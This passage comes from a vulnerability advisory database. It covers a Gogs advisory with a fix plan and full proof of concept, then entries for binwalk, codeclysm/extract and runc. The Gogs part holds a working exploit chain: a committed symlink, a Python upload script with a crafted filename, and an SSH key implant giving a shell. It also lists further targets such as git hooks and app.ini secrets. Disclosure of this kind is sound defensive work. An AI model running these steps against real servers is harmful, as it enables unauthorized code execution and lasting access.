mode-120000 trees as real symlinks at the next `UpdateLocalCopyBranch`.\n\nSuggested fix\n\n1. Replace the leaf check at `repo_editor.go:606` with `hasSymlinkInPath(localPath, path.Join(opts.TreePath, upload.Name))` \u2014 the same primitive `UpdateRepoFile` already uses.\n2. Walk `opts.TreePath` *before* the `os.MkdirAll(dirPath, ...)` at line 583 so that pre-existing symlinked components don\u0027t let `MkdirAll` create directories outside the repo.\n3. Switch `iox.CopyFile`\u0027s open to `O_WRONLY|O_CREATE|O_TRUNC|O_NOFOLLOW`, closing the lstat\u2192write TOCTOU at the syscall layer.\n4. In `database.NewUpload`, after `pathx.Clean`, refuse `name` containing `/` or `\\` outright. Browsers strip path components from file inputs; only attacker tooling sends multi-segment values.\n\nPoC\n\nTested against gogs HEAD `d7571322` on Ubuntu 24.04. Reproduces on `v0.14.2` (packages renamed `osx`\u2194`osutil`, `iox.CopyFile`\u2194`com.Copy`, identical logic).\n\n### Reproduction prerequisites\n- gogs \u2265 0.14.0 on Linux/macOS (`runtime.GOOS != \"windows\"`).\n- Two attacker accounts on the gogs instance with write to a repo `attacker/playground` (repo creators are admins of their own repos).\n- `git` \u2265 2.x with `core.symlinks=true` (Linux/macOS default).\n- Python 3 stdlib only \u2014 `curl -F` does NOT trigger the bug because shell quoting + Go\u0027s RFC 2045 quoted-pair parsing both consume the backslash; we build the multipart body byte-exactly.\n\n### Why curl alone is unreliable\n\nBug needs *two* backslash bytes on the wire so Go\u0027s `mime.ParseMediaType` quoted-string rule (`\\X` \u2192 `X`) yields a single `\\` in the parsed filename, which `pathx.Clean` then turns into `/`.\n\n| Shell form | Wire bytes | Go parses to | upload.Name | Triggers? |\n|---|---|---|---|---|\n| `-F \"...filename=a\\b\"` | `a\\b` | `ab` | `ab` | no |\n| `-F \"...filename=a\\\\b\"` (double quotes) | `a\\b` | `ab` | `ab` | no |\n| `-F \u0027...filename=a\\\\b\u0027` (single quotes) | `a\\\\b` | `a\\b` | `a/b` | **yes** |\n\nThe Python below removes the ambiguity.\n\n### Step 1 \u2014 plant the directory symlink\n\n```sh\ngit clone https://attacker:attacker_password@gogs.example/attacker/playground\ncd playground\nln -s /home/git/.ssh hijack\ngit add hijack \u0026\u0026 git commit -m \u0027docs link\u0027 \u0026\u0026 git push origin main\ncd ..\n```\n\nBare repo now contains a mode-120000 entry for `hijack`. Next `UpdateLocalCopyBranch` materialises `\u003cconf.AppDataPath\u003e/tmp/local-r/\u003crepoID\u003e/hijack \u2192 /home/git/.ssh`.\n\n### Step 2 \u2014 upload + commit\n\nSave as `poc.py`:\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoC for gogs UploadRepoFiles parent-symlink \u2192 arbitrary file write.\"\"\"\nimport http.client, ssl, json, re, urllib.parse\nfrom http.cookies import SimpleCookie\n\nGOGS_HOST = \u0027gogs.example\u0027\nUSERNAME = \u0027attacker\u0027\nPASSWORD = \u0027attacker_password\u0027\nREPO_OWNER = \u0027attacker\u0027\nREPO_NAME = \u0027playground\u0027\nBRANCH = \u0027main\u0027\nPUBKEY = \u0027ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop\\n\u0027\n\nctx = ssl.create_default_context() # set to None for plain HTTP / port 3000\ndef conn():\n if ctx is None:\n return http.client.HTTPConnection(GOGS_HOST, 3000)\n return http.client.HTTPSConnection(GOGS_HOST, 443, context=ctx)\n\ncookies = {}\ndef update_cookies(resp):\n for hdr in resp.msg.get_all(\u0027Set-Cookie\u0027) or []:\n for name, morsel in SimpleCookie(hdr).items():\n cookies[name] = morsel.value\ndef cookie_header():\n return \u0027; \u0027.join(f\u0027{k}={v}\u0027 for k, v in cookies.items())\ndef get_csrf(html):\n return re.search(r\u0027name=\"_csrf\"\\s+(?:value|content)=\"([^\"]+)\"\u0027, html).group(1)\n\n# 1. GET /user/login \u2192 session cookie + CSRF\nc = conn(); c.request(\u0027GET\u0027, \u0027/user/login\u0027)\nr = c.getresponse(); update_cookies(r)\ncsrf_token = get_csrf(r.read().decode())\n\n# 2. Submit credentials\nc = conn()\nc.request(\u0027POST\u0027, \u0027/user/login\u0027,\n body=urllib.parse.urlencode({\u0027_csrf\u0027: csrf_token, \u0027user_name\u0027: USERNAME, \u0027password\u0027: PASSWORD}),\n headers={\u0027Content-Type\u0027: \u0027application/x-www-form-urlencoded\u0027,\n \u0027Cookie\u0027: cookie_header(), \u0027X-CSRF-Token\u0027: csrf_token})\nr = c.getresponse(); r.read(); update_cookies(r)\nassert r.status in (302, 303), f\u0027login failed: {r.status}\u0027\n\n# 3. Refresh CSRF for the logged-in session\nc = conn()\nc.request(\u0027GET\u0027, f\u0027/{REPO_OWNER}/{REPO_NAME}\u0027, headers={\u0027Cookie\u0027: cookie_header()})\nr = c.getresponse(); html = r.read().decode(); update_cookies(r)\ncsrf_token = get_csrf(html)\n\n# 4. Hand-built multipart with literal \"\\\\\" (two backslash bytes) in filename.\n# Wire form: filename=\"hijack\\\\authorized_keys\"\nboundary = \u0027----poc-\u0027 + \u0027x\u0027 * 16\nfilename_on_wire = r\u0027hijack\\\\authorized_keys\u0027 # 23 chars, 2 of them backslashes\nbody = (\n f\u0027--{boundary}\\r\\n\u0027\n f\u0027Content-Disposition: form-data; name=\"file\"; filename=\"{filename_on_wire}\"\\r\\n\u0027\n f\u0027Content-Type: text/plain\\r\\n\\r\\n{PUBKEY}\\r\\n--{boundary}--\\r\\n\u0027\n).encode()\nc = conn()\nc.request(\u0027POST\u0027, f\u0027/{REPO_OWNER}/{REPO_NAME}/upload-file\u0027, body=body, headers={\n \u0027Content-Type\u0027: f\u0027multipart/form-data; boundary={boundary}\u0027,\n \u0027Cookie\u0027: cookie_header(), \u0027X-CSRF-Token\u0027: csrf_token,\n})\nr = c.getresponse(); upload_resp = r.read().decode()\nprint(\u0027upload status:\u0027, r.status, \u0027body:\u0027, upload_resp)\nuuid = json.loads(upload_resp)[\u0027uuid\u0027]\n\n# 5. Commit the uploaded file at the repo root.\nc = conn()\nc.request(\u0027POST\u0027, f\u0027/{REPO_OWNER}/{REPO_NAME}/_upload/{BRANCH}/\u0027,\n body=urllib.parse.urlencode({\n \u0027_csrf\u0027: csrf_token, \u0027tree_path\u0027: \u0027\u0027, \u0027commit_summary\u0027: \u0027docs link\u0027,\n \u0027commit_choice\u0027: \u0027direct\u0027, \u0027files\u0027: uuid,\n }),\n headers={\u0027Content-Type\u0027: \u0027application/x-www-form-urlencoded\u0027,\n \u0027Cookie\u0027: cookie_header(), \u0027X-CSRF-Token\u0027: csrf_token})\nr = c.getresponse(); r.read()\nprint(\u0027commit status:\u0027, r.status)\n```\n\n```sh\npython3 poc.py\n# upload status: 200 body: {\"uuid\":\"\u003cUUID\u003e\"}\n# commit status: 302\n```\n\n### Step 3 \u2014 confirm and use the foothold\n\n```sh\nsudo cat /home/git/.ssh/authorized_keys # operator\u0027s view\n# \u2192 ssh-ed25519 AAAA...attacker_pubkey... attacker@laptop\n\nssh -i ~/.ssh/id_ed25519 git@gogs.example # attacker\u0027s view\n# \u2192 shell as the gogs runtime UID\n```\n\n### Server-side trace\n\n```\nmultipart wire bytes: filename=\"hijack\\\\authorized_keys\"\nmime.ParseMediaType \u2192 \"hijack\\authorized_keys\" (quoted-pair: \\\\ \u2192 \\)\nfilepath.Base \u2192 \"hijack\\authorized_keys\" (Linux: only / is a separator)\npathx.Clean \u2192 \"hijack/authorized_keys\" (\\\\ \u2192 /, then path.Clean)\n\nUploadRepoFiles:\n targetPath = \u003clocal-r\u003e/\u003crepoID\u003e/hijack/authorized_keys\n = /home/git/.ssh/authorized_keys (parent symlink resolved)\n osx.IsSymlink(targetPath) = false (leaf doesn\u0027t exist as a symlink)\n iox.CopyFile \u2192 os.Create \u2192 OpenFile WITHOUT O_NOFOLLOW (follows the parent symlink)\n```\n\n### Other reachable targets (same primitive)\n\n| Symlink target | Effect on next event |\n|---|---|\n| `/home/git/.ssh` | SSH key implant \u2192 shell as gogs UID |\n| `\u003cRepoRoot\u003e/\u003cowner\u003e/\u003crepo\u003e.git/hooks` | Hook overwrite \u2192 arbitrary code on next push |\n| `\u003cRepoRoot\u003e/\u003cowner\u003e/\u003crepo\u003e.git` | `core.fsmonitor=\u003ccmd\u003e` in `config` \u2192 exec on next git op |\n| `~git/custom/conf` | Modify `app.ini` (`SCRIPT_TYPE`, `INSTALL_LOCK`, `SECRET_KEY`) on restart |\n| Path of the sqlite DB file | DoS or admin-row replant |\n\n### Independent confirmation against the source\n\n```sh\ngit clone https://github.com/gogs/gogs.git \u0026\u0026 cd gogs\ngit checkout d7571322\ndiff \u003c(sed -n \u0027160,170p\u0027 internal/database/repo_editor.go) \\\n \u003c(sed -n \u0027601,615p\u0027 internal/database/repo_editor.go)\n# Confirm: line 163 calls hasSymlinkInPath; line 606 calls osx.IsSymlink (leaf only)\nsed -n \u002713,16p\u0027 internal/pathx/pathx.go\n# Confirm: pathx.Clean does ReplaceAll(\"\\\\\", \"/\")\n```\n\nImpact\n\n- **Authenticated RCE** as the gogs runtime UID from one repo write. Chain: plant symlink (one git push) \u2192 upload with crafted filename \u2192 commit \u2192 write to `~git/.ssh/authorized_keys` \u2192 ssh in.\n- Lateral targets: gogs sqlite DB (rewrite admin row), bare-repo hook scripts (run on next push by *any* user with `GOGS_AUTH_USER_*` env populated), `app.ini` `SECRET_KEY` (forges session cookies, decrypts stored 2FA secrets and mirror credentials).\n- Persistent: symlink and key both survive restart; removing the attacker\u0027s repo access does not undo the SSH foothold.\n- Linux/macOS only. Windows hosts are unaffected for two independent reasons (`filepath.Base` separator handling, git\u0027s `core.symlinks` default).",
"id": "GHSA-89mr-xqfv-758m",
"modified": "2026-06-23T17:09:55Z",
"published": "2026-06-23T17:09:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/security/advisories/GHSA-89mr-xqfv-758m"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/pull/8332"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/commit/04cb8afbb01d855454e59977a1cdbf522ea1db31"
},
{
"type": "PACKAGE",
"url": "https://github.com/gogs/gogs"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/releases/tag/v0.14.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Gogs: UploadRepoFiles writes outside repo working tree via committed parent sym"
}
GHSA-8M3F-G62J-3VX8
Vulnerability from github – Published: 2022-12-27 12:30 – Updated: 2023-01-19 00:59A vulnerability, which was classified as problematic, was found in ReFirm Labs binwalk up to 2.3.2. Affected is an unknown function of the file src/binwalk/modules/extractor.py of the component Archive Extraction Handler. The manipulation leads to symlink following. It is possible to launch the attack remotely. Upgrading to version 2.3.3 can address this issue. The name of the patch is fa0c0bd59b8588814756942fe4cb5452e76c1dcd. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-216876.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "binwalk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-4287"
],
"database_specific": {
"cwe_ids": [
"CWE-59",
"CWE-61"
],
"github_reviewed": true,
"github_reviewed_at": "2022-12-30T17:48:02Z",
"nvd_published_at": "2022-12-27T11:15:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability, which was classified as problematic, was found in ReFirm Labs binwalk up to 2.3.2. Affected is an unknown function of the file src/binwalk/modules/extractor.py of the component Archive Extraction Handler. The manipulation leads to symlink following. It is possible to launch the attack remotely. Upgrading to version 2.3.3 can address this issue. The name of the patch is fa0c0bd59b8588814756942fe4cb5452e76c1dcd. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-216876.",
"id": "GHSA-8m3f-g62j-3vx8",
"modified": "2023-01-19T00:59:08Z",
"published": "2022-12-27T12:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-4287"
},
{
"type": "WEB",
"url": "https://github.com/ReFirmLabs/binwalk/pull/556"
},
{
"type": "WEB",
"url": "https://github.com/ReFirmLabs/binwalk/commit/fa0c0bd59b8588814756942fe4cb5452e76c1dcd"
},
{
"type": "PACKAGE",
"url": "https://github.com/ReFirmLabs/binwalk"
},
{
"type": "WEB",
"url": "https://github.com/ReFirmLabs/binwalk/releases/tag/v2.3.3"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.216876"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.216876"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "binwalk vulnerable to UNIX Symbolic Link (Symlink) Following"
}
GHSA-8RM2-93MQ-JQHC
Vulnerability from github – Published: 2024-10-11 18:10 – Updated: 2024-10-15 19:53Impact
A maliciously crafted archive may allow an attacker to create a symlink outside the extraction target directory.
Patches
Please use version 4.0.0 or later github.com/codeclysm/extract/v4. Any previous version is affected by the bug.
Workarounds
No knows workarounds.
Backward compatibility notes about upgrading to /v4 from /v3
If you're not using the extract.Extractor.FS interface, you will not face any breaking changes and upgrading should be as simple as changing the import to /v4. This should be the case for most of the userbase.
If you're using the Extractor.FS interface, then upgrading to /v4 will require to implement the new methods that have been added:
type FS interface {
Link(string, string) error
MkdirAll(string, os.FileMode) error
OpenFile(name string, flag int, perm os.FileMode) (*os.File, error)
Symlink(string, string) error
// The following methods have been added in the /v4 interface:
Remove(path string) error
Stat(name string) (os.FileInfo, error)
Chmod(name string, mode os.FileMode) error
}
There should be no other breaking changes in the /v4 API.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/codeclysm/extract/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.1.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/codeclysm/extract/v4"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.0.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/codeclysm/extract"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-47877"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-61"
],
"github_reviewed": true,
"github_reviewed_at": "2024-10-11T18:10:24Z",
"nvd_published_at": "2024-10-11T17:15:04Z",
"severity": "MODERATE"
},
"details": "### Impact\nA maliciously crafted archive may allow an attacker to create a symlink outside the extraction target directory.\n\n### Patches\nPlease use version 4.0.0 or later `github.com/codeclysm/extract/v4`. Any previous version is affected by the bug.\n\n### Workarounds\nNo knows workarounds.\n\n### Backward compatibility notes about upgrading to `/v4` from `/v3`\n\nIf you\u0027re not using the `extract.Extractor.FS` interface, you will not face any breaking changes and upgrading should be as simple as changing the import to `/v4`. This should be the case for most of the userbase.\n\nIf you\u0027re using the `Extractor.FS` interface, then upgrading to `/v4` will require to implement the new methods that have been added:\n\n```go\ntype FS interface {\n Link(string, string) error\n MkdirAll(string, os.FileMode) error\n OpenFile(name string, flag int, perm os.FileMode) (*os.File, error)\n Symlink(string, string) error\n\n // The following methods have been added in the /v4 interface:\n\n Remove(path string) error\n Stat(name string) (os.FileInfo, error)\n Chmod(name string, mode os.FileMode) error\n}\n```\n\nThere should be no other breaking changes in the `/v4` API.\n",
"id": "GHSA-8rm2-93mq-jqhc",
"modified": "2024-10-15T19:53:17Z",
"published": "2024-10-11T18:10:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/codeclysm/extract/security/advisories/GHSA-8rm2-93mq-jqhc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47877"
},
{
"type": "WEB",
"url": "https://github.com/codeclysm/extract/commit/4a98568021b8e289345c7f526ccbd7ed732cf286"
},
{
"type": "PACKAGE",
"url": "https://github.com/codeclysm/extract"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Extract has insufficient checks allowing attacker to create symlinks outside the extraction directory."
}
GHSA-9493-H29P-RFM2
Vulnerability from github – Published: 2025-11-05 16:37 – Updated: 2025-11-18 18:36Impact ###
The OCI runtime specification has a maskedPaths feature that allows for files or directories to be "masked" by placing a mount on top of them to conceal their contents. This is primarily intended to protect against privileged users in non-user-namespaced from being able to write to files or access directories that would either provide sensitive information about the host to containers or allow containers to perform destructive or other privileged operations on the host (examples include /proc/kcore, /proc/timer_list, /proc/acpi, and /proc/keys).
maskedPaths can be used to either mask a directory or a file -- directories are masked using a new read-only tmpfs instance that is mounted on top of the masked path, while files are masked by bind-mounting the container's /dev/null on top of the masked path.
In all known versions of runc, when using the container's /dev/null to mask files, runc would not perform sufficient verification that the source of the bind-mount (i.e., the container's /dev/null) was actually a real /dev/null inode. While /dev/null is usually created by runc when doing container creation, it is possible for an attacker to create a /dev/null or modify the /dev/null inode created by runc through race conditions with other containers sharing mounts (runc has also verified this attack is possible to exploit using a standard Dockerfile with docker buildx build as that also permits triggering parallel execution of containers with custom shared mounts configured).
This could lead to two separate issues:
Attack 1: Arbitrary Mount Gadget (leading to Host Information Disclosure, Host Denial of Service, or Container Escape) ####
By replacing /dev/null with a symlink to an attacker-controlled path, an attacker could cause runc to bind-mount an arbitrary source path to a path inside the container. This could lead to:
Host Denial of Service: By bind-mounting files such as /proc/sysrq-trigger, the attacker can gain access to a read-write version of files which can be destructive to write to (/proc/sysrq-trigger would allow an attacker to trigger a kernel panic, shutting down the machine, or causing the machine to freeze without rebooting).
Container Escape: By bind-mounting /proc/sys/kernel/core_pattern, the attacker can reconfigure a coredump helper -- as kernel upcalls are not namespaced, the configured binary (which could be a container binary or a host binary with a malicious command-line) will run with full privileges on the host system. Thus, the attacker can simply trigger a coredump and gain complete root privileges over the host.
Note that while config.json allows users to bind-mount arbitrary paths (and thus an attacker that can modify config.json arbitrarily could gain the same access as this exploit), because maskedPaths is applied by almost all higher-level container runtimes (and thus provides a guaranteed mount source) this flaw effectively allows any attacker that can spawn containers (with some degree of control over what kinds of containers are being spawned) to achieve the above goals.
Attack 2: Bypassing maskedPaths ####
While investigating Attack 1, runc discovered that the runc validation mechanism when bind-mounting /dev/null for maskedPaths would ignore ENOENT errors -- meaning that if an attacker deleted /dev/null before runc did the bind-mount, runc would silently skip applying maskedPaths for the container. (The original purpose of this ENOENT-ignore behaviour was to permit configurations where maskedPaths references non-existent files, but runc did not consider that the source path could also not exist in this kind of race-attack scenario.)
With maskedPaths rendered inoperative, an attacker would be able to access sensitive host information from files in /proc that would usually be masked (such as /proc/kcore). However, note that /proc/sys and /proc/sysrq-trigger are mounted read-only rather than being masked with files, so this attack variant will not allow the same breakout or host denial of service attacks as in Attack 1.
Patches ###
This advisory is being published as part of a set of three advisories:
* CVE-2025-31133
* CVE-2025-52881
* CVE-2025-52565
The patches fixing this issue have accordingly been combined into a single patchset. The following patches from that patchset resolve the issues in this advisory:
db19bbed5348 ("internal/sys: add VerifyInode helper")
8476df83b534 ("libct: add/use isDevNull, verifyDevNull")
1a30a8f3d921 ("libct: maskPaths: only ignore ENOENT on mount dest")
5d7b24240724 ("libct: maskPaths: don't rely on ENOTDIR for mount")
runc 1.2.8, 1.3.3, and 1.4.0-rc.3 have been released and all contain fixes for these issues. As per runc's new release model, runc 1.1.x and earlier are no longer supported and thus have not been patched. https://github.com/opencontainers/runc/blob/v1.4.0-rc.2/RELEASES.md
Mitigations ###
- Use containers with user namespaces (with the host root user not mapped into the container's user namespace). This will block most of the most serious aspects of these attacks, as the
procfsfiles used for the container breakout use Unix DAC permissions and user namespaced users will not have access to the relevant files.
runc would also like to take this opportunity to re-iterate that runc strongly recommend all users use user namespaced containers. They have proven to be one of the best security hardening mechanisms against container breakouts, and the kernel applies additional restrictions to user namespaced containers above and beyond the user remapping functionality provided. With the advent of id-mapped mounts (Linux 5.12), there is very little reason to not use user namespaces for most applications. Note that using user namespaces to configure your container does not mean you have to enable unprivileged user namespace creation inside the container -- most container runtimes apply a seccomp-bpf profile which blocks unshare(CLONE_NEWUSER) inside containers regardless of whether the container itself uses user namespaces.
Rootless containers can provide even more protection if your configuration can use them -- by having runc itself be an unprivileged process, in general you would expect the impact scope of a runc bug to be less severe as it would only have the privileges afforded to the host user which spawned runc.
- For non-user namespaced containers, configure all containers you spawn to not permit processes to run with root privileges. In most cases this would require configuring the container to use a non-root user and enabling
noNewPrivilegesto disable any setuid or set-capability binaries. (Note that this is runc's general recommendation for a secure container setup -- it is very difficult, if not impossible, to run an untrusted program with root privileges safely.) If you need to usepingin your containers, there is anet.ipv4.ping_group_rangesysctl that can be used to allow unprivileged users to ping without requiring setuid or set-capability binaries. - Do not run untrusted container images from unknown or unverified sources.
- Depending on the configuration of
maskedPaths, an AppArmor profile (such as the default one applied by higher level runtimes including Docker and Podman) can block write attempts to most of/procand/sys. This means that even with a procfs file maliciously bind-mounted to amaskedPathstarget, all of the targets ofmaskedPathsin the default configuration of runtimes such as Docker or Podman will still not permit write access to said files. However, if a container is configured with amaskedPathsthat is not protected by AppArmor then the same attack can be carried out. Please note that CVE-2025-52881 allows an attacker to bypass LSM labels, and so this mitigation is not that helpful when considered in combination with CVE-2025-52881. - Based on runc's analysis, SELinux policies have a limited effect when trying to protect against this attack. The reason is that the
/dev/nullbind-mount gets implicitly relabelled withcontext=...set to the container's SELinux context, and thus the container process will have access to the source of the bind-mount even if they otherwise wouldn't.
https://github.com/opencontainers/runc/security/advisories/GHSA-cgrx-mc8f-2prm
Other Runtimes ###
As this vulnerability boils down to a fairly easy-to-make logic bug, runc has provided information to other OCI (crun, youki) and non-OCI (LXC) container runtimes about this vulnerability. Based on discussions with other runtimes, it seems that crun and youki may have similar security issues and will release a coordinated security release along with runc. LXC appears to also be vulnerable in some aspects, but their security stance is (understandably) that non-user-namespaced containers are fundamentally insecure by design.
https://linuxcontainers.org/lxc/security/
Credits ###
Thanks to Lei Wang (@ssst0n3 from Huawei) for finding and reporting the original vulnerability (Attack 1), and Li Fubang (@lifubang from acmcoder.com, CIIC) for discovering another attack vector (Attack 2) based on @ssst0n3's initial findings.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.2.7"
},
"package": {
"ecosystem": "Go",
"name": "github.com/opencontainers/runc"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.3.2"
},
"package": {
"ecosystem": "Go",
"name": "github.com/opencontainers/runc"
},
"ranges": [
{
"events": [
{
"introduced": "1.3.0-rc.1"
},
{
"fixed": "1.3.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.4.0-rc.2"
},
"package": {
"ecosystem": "Go",
"name": "github.com/opencontainers/runc"
},
"ranges": [
{
"events": [
{
"introduced": "1.4.0-rc.1"
},
{
"fixed": "1.4.0-rc.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-31133"
],
"database_specific": {
"cwe_ids": [
"CWE-363",
"CWE-61"
],
"github_reviewed": true,
"github_reviewed_at": "2025-11-05T16:37:15Z",
"nvd_published_at": "2025-11-06T19:15:41Z",
"severity": "HIGH"
},
"details": "### Impact ### \nThe OCI runtime specification has a `maskedPaths` feature that allows for files or directories to be \"masked\" by placing a mount on top of them to conceal their contents. This is primarily intended to protect against privileged users in non-user-namespaced from being able to write to files or access directories that would either provide sensitive information about the host to containers or allow containers to perform destructive or other privileged operations on the host (examples include `/proc/kcore`, `/proc/timer_list`, `/proc/acpi`, and `/proc/keys`). \n\n`maskedPaths` can be used to either mask a directory or a file -- directories are masked using a new read-only `tmpfs` instance that is mounted on top of the masked path, while files are masked by bind-mounting the container\u0027s `/dev/null` on top of the masked path. \n\nIn all known versions of runc, when using the container\u0027s `/dev/null` to mask files, runc would not perform sufficient verification that the source of the bind-mount (i.e., the container\u0027s `/dev/null`) was actually a real `/dev/null` inode. While `/dev/null` is usually created by runc when doing container creation, it is possible for an attacker to create a `/dev/null` or modify the `/dev/null` inode created by runc through race conditions with other containers sharing mounts (runc has also verified this attack is possible to exploit using a standard Dockerfile with `docker buildx build` as that also permits triggering parallel execution of containers with custom shared mounts configured). \n\nThis could lead to two separate issues: \n\n#### Attack 1: Arbitrary Mount Gadget (leading to Host Information Disclosure, Host Denial of Service, or Container Escape) #### \nBy replacing `/dev/null` with a symlink to an attacker-controlled path, an attacker could cause runc to bind-mount an arbitrary source path to a path inside the container. This could lead to: \n* **Host Denial of Service**: By bind-mounting files such as `/proc/sysrq-trigger`, the attacker can gain access to a read-write version of files which can be destructive to write to (`/proc/sysrq-trigger` would allow an attacker to trigger a kernel panic, shutting down the machine, or causing the machine to freeze without rebooting). \n* **Container Escape**: By bind-mounting `/proc/sys/kernel/core_pattern`, the attacker can reconfigure a coredump helper -- as kernel upcalls are not namespaced, the configured binary (which could be a container binary or a host binary with a malicious command-line) will run with full privileges on the host system. Thus, the attacker can simply trigger a coredump and gain complete root privileges over the host. \n\nNote that while `config.json` allows users to bind-mount arbitrary paths (and thus an attacker that can modify `config.json` arbitrarily could gain the same access as this exploit), because `maskedPaths` is applied by almost all higher-level container runtimes (and thus provides a guaranteed mount source) this flaw effectively allows any attacker that can spawn containers (with some degree of control over what kinds of containers are being spawned) to achieve the above goals. \n\n#### Attack 2: Bypassing `maskedPaths` #### \nWhile investigating Attack 1, runc discovered that the runc validation mechanism when bind-mounting `/dev/null` for `maskedPaths` would ignore `ENOENT` errors -- meaning that if an attacker deleted `/dev/null` before runc did the bind-mount, runc would silently skip applying `maskedPaths` for the container. (The original purpose of this `ENOENT`-ignore behaviour was to permit configurations where `maskedPaths` references non-existent files, but runc did not consider that the source path could also not exist in this kind of race-attack scenario.) \n\nWith `maskedPaths` rendered inoperative, an attacker would be able to access sensitive host information from files in `/proc` that would usually be masked (such as `/proc/kcore`). However, note that `/proc/sys` and `/proc/sysrq-trigger` are mounted read-only rather than being masked with files, so this attack variant will not allow the same breakout or host denial of service attacks as in Attack 1. \n\n### Patches ### \nThis advisory is being published as part of a set of three advisories: \n* CVE-2025-31133\n* CVE-2025-52881\n* CVE-2025-52565\n\nThe patches fixing this issue have accordingly been combined into a single patchset. The following patches from that patchset resolve the issues in this advisory: \n* db19bbed5348 (\"internal/sys: add VerifyInode helper\") \n* 8476df83b534 (\"libct: add/use isDevNull, verifyDevNull\") \n* 1a30a8f3d921 (\"libct: maskPaths: only ignore ENOENT on mount dest\") \n* 5d7b24240724 (\"libct: maskPaths: don\u0027t rely on ENOTDIR for mount\") \n\nrunc 1.2.8, 1.3.3, and 1.4.0-rc.3 have been released and all contain fixes for these issues. As per [runc\u0027s new release model](https://github.com/opencontainers/runc/blob/v1.4.0-rc.2/RELEASES.md), runc 1.1.x and earlier are no longer supported and thus have not been patched. https://github.com/opencontainers/runc/blob/v1.4.0-rc.2/RELEASES.md \n\n### Mitigations ### \n- Use containers with user namespaces (with the host root user not mapped into the container\u0027s user namespace). This will block most of the most serious aspects of these attacks, as the `procfs` files used for the container breakout use Unix DAC permissions and user namespaced users will not have access to the relevant files.\n\n runc would also like to take this opportunity to re-iterate that runc **strongly** recommend all users use user namespaced containers. They have proven to be one of the best security hardening mechanisms against container breakouts, and the kernel applies additional restrictions to user namespaced containers above and beyond the user remapping functionality provided. With the advent of id-mapped mounts (Linux 5.12), there is very little reason to not use user namespaces for most applications. Note that using user namespaces to configure your container does not mean you have to enable unprivileged user namespace creation *inside* the container -- most container runtimes apply a seccomp-bpf profile which blocks `unshare(CLONE_NEWUSER)` inside containers regardless of whether the container itself uses user namespaces.\n\n Rootless containers can provide even more protection if your configuration can use them -- by having runc itself be an unprivileged process, in general you would expect the impact scope of a runc bug to be less severe as it would only have the privileges afforded to the host user which spawned runc. \n\n- For non-user namespaced containers, configure all containers you spawn to not permit processes to run with root privileges. In most cases this would require configuring the container to use a non-root user and enabling `noNewPrivileges` to disable any setuid or set-capability binaries. (Note that this is runc\u0027s general recommendation for a secure container setup -- it is very difficult, if not impossible, to run an untrusted program with root privileges safely.) If you need to use `ping` in your containers, there is a `net.ipv4.ping_group_range` sysctl that can be used to allow unprivileged users to ping without requiring setuid or set-capability binaries. \n - Do not run untrusted container images from unknown or unverified sources. \n - Depending on the configuration of `maskedPaths`, an AppArmor profile (such as the default one applied by higher level runtimes including Docker and Podman) can block write attempts to most of `/proc` and `/sys`. This means that even with a procfs file maliciously bind-mounted to a `maskedPaths` target, all of the targets of `maskedPaths` in the default configuration of runtimes such as Docker or Podman will still not permit write access to said files. However, if a container is configured with a `maskedPaths` that is not protected by AppArmor then the same attack can be carried out. Please note that CVE-2025-52881 allows an attacker to bypass LSM labels, and so this mitigation is not that helpful when considered in combination with CVE-2025-52881. \n - Based on runc\u0027s analysis, SELinux policies have a limited effect when trying to protect against this attack. The reason is that the `/dev/null` bind-mount gets implicitly relabelled with `context=...` set to the container\u0027s SELinux context, and thus the container process will have access to the source of the bind-mount even if they otherwise wouldn\u0027t. 